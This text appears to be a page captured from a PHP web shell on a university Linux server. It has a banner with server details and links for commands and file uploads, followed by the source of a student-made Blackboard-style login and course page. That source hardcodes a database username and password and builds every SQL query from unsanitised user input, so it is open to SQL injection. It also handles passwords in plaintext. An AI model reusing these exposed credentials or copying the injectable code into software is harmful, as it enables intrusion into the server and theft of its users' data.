Server IP : 172.16.15.8 / Your IP : 3.142.200.247 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/cngray/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); if((!isset($_POST['username'])) and (!isset($_SESSION['username']))){ header("location:BBWelcome.php"); } else { ?> <html> <style> #header { text-align:center; height: 200px; padding:10px; } </style> <?php $host = 'localhost'; $user = 'cngray'; $passwd = 'vwccscngray'; $check = $_SESSION['check']; if($check == 1) { $username = $_POST['username']; $pass = $_POST['pass']; } else { $username = $_SESSION['username']; $pass = $_SESSION['pass']; } $_SESSION['username'] = $username; $_SESSION['pass'] = $pass; $_SESSION['check'] = $check; $database = 'cngray'; $connect = mysqli_connect($host, $user, $passwd); mysqli_select_db($connect, $database); $query = "select * from Courses"; $CResult_id = mysqli_query($connect, $query); $InfoQuery = "select FName, LName, ContactInfo from BBUsers where Year > -1 && Username not like '$username'"; $InfoResult_id = mysqli_query($connect, $InfoQuery); $check = mysqli_query($connect, "select count(1) from BBUsers where Username like '$username' and Password like '$pass'"); if(mysqli_num_rows($check) > 0) { $sql = "select count(1) from BBUsers where Username like '$username' and Password like '$pass'"; $result = mysqli_query($connect, $sql); mysqli_data_seek($result, 0); $fetch = mysqli_fetch_array($result); $hasmatch = $fetch[0]; if($hasmatch) { mysqli_data_seek(mysqli_query($connect, "select Username from BBUsers where Username like '$username'"), 0); $fetch = mysqli_fetch_array(mysqli_query($connect, "select Username from BBUsers where Username like '$username'")); $Username = $fetch[0]; mysqli_data_seek(mysqli_query($connect, "select Password from BBUsers where Username like '$username'"), 0); $fetch = mysqli_fetch_array(mysqli_query($connect, "select Password from BBUsers where Username like '$username'")); $Password = $fetch[0]; mysqli_data_seek(mysqli_query($connect, "select FName from BBUsers where Username like '$username'"), 0); $fetch = mysqli_fetch_array(mysqli_query($connect, "select FName from BBUsers where Username like '$username'")); $Fname = $fetch[0]; mysqli_data_seek(mysqli_query($connect, "select LName from BBUsers where Username like '$username'"), 0); $fetch = mysqli_fetch_array(mysqli_query($connect, "select LName from BBUsers where Username like '$username'")); $Lname = $fetch[0]; mysqli_data_seek(mysqli_query($connect, "select Year from BBUsers where Username like '$username'"), 0); $fetch = mysqli_fetch_array(mysqli_query($connect, "select Year from BBUsers where Username like '$username'")); $PorS = $fetch[0]; ?> <center> <font size = 6> <div id = "header"> <?php print "<br><br>Blackboard<br>"; if($PorS == 0) print "Welcome Professor $Lname<br><br>"; else print "Welcome $Fname<br><br>"; ?></div> <!--<div id = "middle"> <div id = "left">--> <hr><hr> <?php print "\n\n"; ?> <?php if($CResult_id) { print "List of Availible Courses:<br>"; print '<table border = 1>'; print "<th> Course <th> Professor"; while($row = mysqli_fetch_row($CResult_id)) { print '<tr>'; foreach($row as $field) print "<td> $field </td> "; print '</tr>'; } print '<table border = 0>'; } echo "\n\n"; if($PorS > -1) { ?> <br><INPUT Type=button VALUE="My Courses" onClick="location.href = 'BBCourses.php'"><br><br> <?php } ?><!-- </div><div id = "right">--> <?php print "Contact Information:<br>"; if($InfoResult_id) { print '<table border = 1>'; print "<th> First Name <th> Last Name <th> Email"; while($row = mysqli_fetch_row($InfoResult_id)) { print '<tr>'; foreach($row as $field) print "<td> $field </td>"; print '</tr>'; } print '<table border = 0>'; } ?> <!--</div><div id = "clearfix">--> <?php if($PorS > -1) { ?> <br><hr><br> <form action = "BBPassword.php"> <input type = submit value = "Reset Password?"> </form> <?php } ?> <form action = "BBLogout.php"> <input type = submit value = "Log Out"> </form> <?php } else { ?> <center> <br><br> Username and Password Do Not Match<br> Please try again <form action = "BBWelcome.php"> <input type = submit value = "Back"></form> <?php } } mysqli_close($connect); } ?>